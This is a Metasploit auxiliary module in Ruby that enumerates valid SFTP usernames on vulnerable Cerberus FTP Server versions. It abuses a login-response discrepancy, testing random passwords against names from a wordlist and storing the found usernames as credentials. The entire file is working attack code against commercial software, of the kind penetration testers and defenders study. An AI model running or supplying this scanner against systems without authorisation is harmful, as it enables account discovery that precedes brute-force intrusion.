##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Cerberus FTP Server SFTP Username Enumeration',
      'Description' => %q{
        This module uses a dictionary to brute force valid usernames from
        Cerberus FTP server via SFTP.  This issue affects all versions of
        the software older than 6.0.9.0 or 7.0.0.2 and is caused by a discrepancy
        in the way the SSH service handles failed logins for valid and invalid
        users.  This issue was discovered by Steve Embling.
      },
      'Author'      => [
        'Steve Embling', # Discovery
        'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module
      ],
      'References'     =>
        [
          [ 'URL',  'http://xforce.iss.net/xforce/xfdb/93546' ],
          [ 'BID', '67707']
        ],
      'License'     => MSF_LICENSE,
      'DisclosureDate' => '2014-05-27'
    ))

    register_options(
      [
        Opt::Proxies,
        Opt::RPORT(22),
        OptPath.new(
          'USER_FILE',
          [true, 'Files containing usernames, one per line', nil])
      ], self.class
    )

    register_advanced_options(
      [
        OptInt.new(
          'RETRY_NUM',
          [true , 'The number of attempts to connect to a SSH server for each user', 3]),
        OptInt.new(
          'SSH_TIMEOUT',
          [true, 'Specify the maximum time to negotiate a SSH session', 10]),
        OptBool.new(
          'SSH_DEBUG',
          [true, 'Enable SSH debugging output (Extreme verbosity!)', false])
      ]
    )
  end

  def rport
    datastore['RPORT']
  end

  def retry_num
    datastore['RETRY_NUM']
  end

  def check_vulnerable(ip)
    opt_hash = {
      :port            => rport,
      :auth_methods    => ['password', 'keyboard-interactive'],
      :use_agent       => false,
      :config          => false,
      :password_prompt => Net::SSH::Prompt.new,
      :non_interactive => true,
      :proxies         => datastore['Proxies'],
      :verify_host_key => :never
    }

    begin
      transport = Net::SSH::Transport::Session.new(ip, opt_hash)
    rescue Rex::ConnectionError
      return :connection_error
    end

    auth = Net::SSH::Authentication::Session.new(transport, opt_hash)
    auth.authenticate("ssh-connection", Rex::Text.rand_text_alphanumeric(8), Rex::Text.rand_text_alphanumeric(8))
    auth_method = auth.allowed_auth_methods.join('|')
    print_good "#{peer(ip)} Server Version: #{auth.transport.server_version.version}"
    report_service(
      host:  ip,
      port:  rport,
      name:  "ssh",
      proto: "tcp",
      info:  auth.transport.server_version.version
    )

    if auth_method.empty?
      :vulnerable
    else
      :safe
    end
  end

  def check_user(ip, user, port)
    pass = Rex::Text.rand_text_alphanumeric(8)

    opt_hash = {
      :auth_methods    => ['password', 'keyboard-interactive'],
      :port            => port,
      :use_agent       => false,
      :config          => false,
      :proxies         => datastore['Proxies'],
      :verify_host_key => :never
    }

    opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']
    transport = Net::SSH::Transport::Session.new(ip, opt_hash)
    auth = Net::SSH::Authentication::Session.new(transport, opt_hash)

    begin
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        auth.authenticate("ssh-connection", user, pass)
        auth_method = auth.allowed_auth_methods.join('|')
        if auth_method != ''
          :success
        else
          :fail
        end
      end
    rescue Rex::ConnectionError
      return :connection_error
    rescue Net::SSH::Disconnect, ::EOFError
      return :success
    rescue ::Timeout::Error
      return :connection_error
    end
  end

  def do_report(ip, user, port)
    service_data = {
      address: ip,
      port: rport,
      service_name: 'ssh',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: user,
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def peer(rhost=nil)
    "#{rhost}:#{rport} SSH -"
  end

  def user_list
    users = nil
    if File.readable? datastore['USER_FILE']
      users = File.new(datastore['USER_FILE']).read.split
      users.each {|u| u.downcase!}
      users.uniq!
    else
      raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}"
    end

    users
  end

  def attempt_user(user, ip)
    attempt_num = 0
    ret = nil

    while (attempt_num <= retry_num) && (ret.nil? || ret == :connection_error)
      if attempt_num > 0
        Rex.sleep(2 ** attempt_num)
        vprint_status("#{peer(ip)} Retrying '#{user}' due to connection error")
      end

      ret = check_user(ip, user, rport)
      attempt_num += 1
    end

    ret
  end

  def show_result(attempt_result, user, ip)
    case attempt_result
    when :success
      print_good "#{peer(ip)} User '#{user}' found"
      do_report(ip, user, rport)
    when :connection_error
      print_error "#{peer(ip)} User '#{user}' could not connect"
    when :fail
      vprint_status "#{peer(ip)} User '#{user}' not found"
    end
  end

  def run_host(ip)
    print_status "#{peer(ip)} Checking for vulnerability"
    case check_vulnerable(ip)
    when :vulnerable
      print_good "#{peer(ip)} Vulnerable"
      print_status "#{peer(ip)} Starting scan"
      user_list.each do |user|
        show_result(attempt_user(user, ip), user, ip)
      end
    when :safe
      print_error "#{peer(ip)} Not vulnerable"
    when :connection_error
      print_error "#{peer(ip)} Connection failed"
    end
  end
end

